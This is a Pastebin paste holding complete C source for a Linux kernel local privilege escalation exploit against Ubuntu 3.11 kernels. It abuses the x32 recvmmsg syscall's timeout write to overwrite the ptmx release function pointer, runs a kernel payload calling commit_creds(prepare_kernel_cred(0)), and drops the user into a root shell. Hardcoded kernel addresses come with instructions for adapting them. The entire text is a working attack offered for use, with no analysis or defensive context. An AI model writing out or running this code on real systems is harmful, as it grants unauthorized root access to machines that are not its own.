Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #define _GNU_SOURCE
- #include <netinet/ip.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <time.h>
- #include <string.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <sys/socket.h>
- #include <sys/stat.h>
- #include <sys/syscall.h>
- #include <sys/wait.h>
- #include <sys/mman.h>
- #define __X32_SYSCALL_BIT 0x40000000
- #undef __NR_recvmmsg
- #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
- #define BUFSIZE 200
- #define PAYLOADSIZE 0x2000
- #define FOPS_RELEASE_OFFSET 13*8
- /*
- * Adapt these addresses for your need.
- * see /boot/System.map* or /proc/kallsyms
- * These are the offsets from ubuntu 3.11.0-12-generic.
- */
- #define PTMX_FOPS 0xffffffff81fb30c0LL
- #define TTY_RELEASE 0xffffffff8142fec0LL
- #define COMMIT_CREDS 0xffffffff8108ad40LL
- #define PREPARE_KERNEL_CRED 0xffffffff8108b010LL
- typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
- typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
- /*
- * Match signature of int release(struct inode*, struct file*).
- *
- * See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz
- */
- int __attribute__((regparm(3)))
- kernel_payload(void* foo, void* bar)
- {
- _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
- _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
- *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; // restore pointer
- commit_creds(prepare_kernel_cred(0));
- return -1;
- }
- /*
- * Write a zero to the byte at then given address.
- * Only works if the current value is 0xff.
- */
- void zero_out(long addr)
- {
- int sockfd, retval, port, pid, i;
- struct sockaddr_in sa;
- char buf[BUFSIZE];
- struct mmsghdr msgs;
- struct iovec iovecs;
- srand(time(NULL));
- port = 1024 + (rand() % (0x10000 - 1024));
- sockfd = socket(AF_INET, SOCK_DGRAM, 0);
- if (sockfd == -1) {
- perror("socket()");
- exit(EXIT_FAILURE);
- }
- sa.sin_family = AF_INET;
- sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
- sa.sin_port = htons(port);
- if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
- perror("bind()");
- exit(EXIT_FAILURE);
- }
- memset(&msgs, 0, sizeof(msgs));
- iovecs.iov_base = buf;
- iovecs.iov_len = BUFSIZE;
- msgs.msg_hdr.msg_iov = &iovecs;
- msgs.msg_hdr.msg_iovlen = 1;
- /*
- * start a seperate process to send a udp message after 255 seconds so the syscall returns,
- * but not after updating the timout struct and writing the remaining time into it.
- * 0xff - 255 seconds = 0x00
- */
- printf("clearing byte at 0x%lx\n", addr);
- pid = fork();
- if (pid == 0) {
- memset(buf, 0x41, BUFSIZE);
- if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
- perror("socket()");
- exit(EXIT_FAILURE);
- }
- sa.sin_family = AF_INET;
- sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
- sa.sin_port = htons(port);
- printf("waiting 255 seconds...\n");
- for (i = 0; i < 255; i++) {
- if (i % 10 == 0)
- printf("%is/255s\n", i);
- sleep(1);
- }
- printf("waking up parent...\n");
- sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));
- exit(EXIT_SUCCESS);
- } else if (pid > 0) {
- retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);
- if (retval == -1) {
- printf("address can't be written to, not a valid timespec struct\n");
- exit(EXIT_FAILURE);
- }
- waitpid(pid, 0, 0);
- printf("byte zeroed out\n");
- } else {
- perror("fork()");
- exit(EXIT_FAILURE);
- }
- }
- int main(int argc, char** argv)
- {
- long code, target;
- int pwn;
- /* Prepare payload... */
- printf("preparing payload buffer...\n");
- code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
- memset((void*)code, 0x90, PAYLOADSIZE);
- code += PAYLOADSIZE - 1024;
- memcpy((void*)code, &kernel_payload, 1024);
- /*
- * Now clear the three most significant bytes of the fops pointer
- * to the release function.
- * This will make it point into the memory region mapped above.
- */
- printf("changing kernel pointer to point into controlled buffer...\n");
- target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
- zero_out(target + 7);
- zero_out(target + 6);
- zero_out(target + 5);
- /* ... and trigger. */
- printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");
- pwn = open("/dev/ptmx", 'r');
- close(pwn);
- if (getuid() != 0) {
- printf("failed to get root :(\n");
- exit(EXIT_FAILURE);
- }
- printf("got root, enjoy :)\n");
- return execl("/bin/bash", "-sh", NULL);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement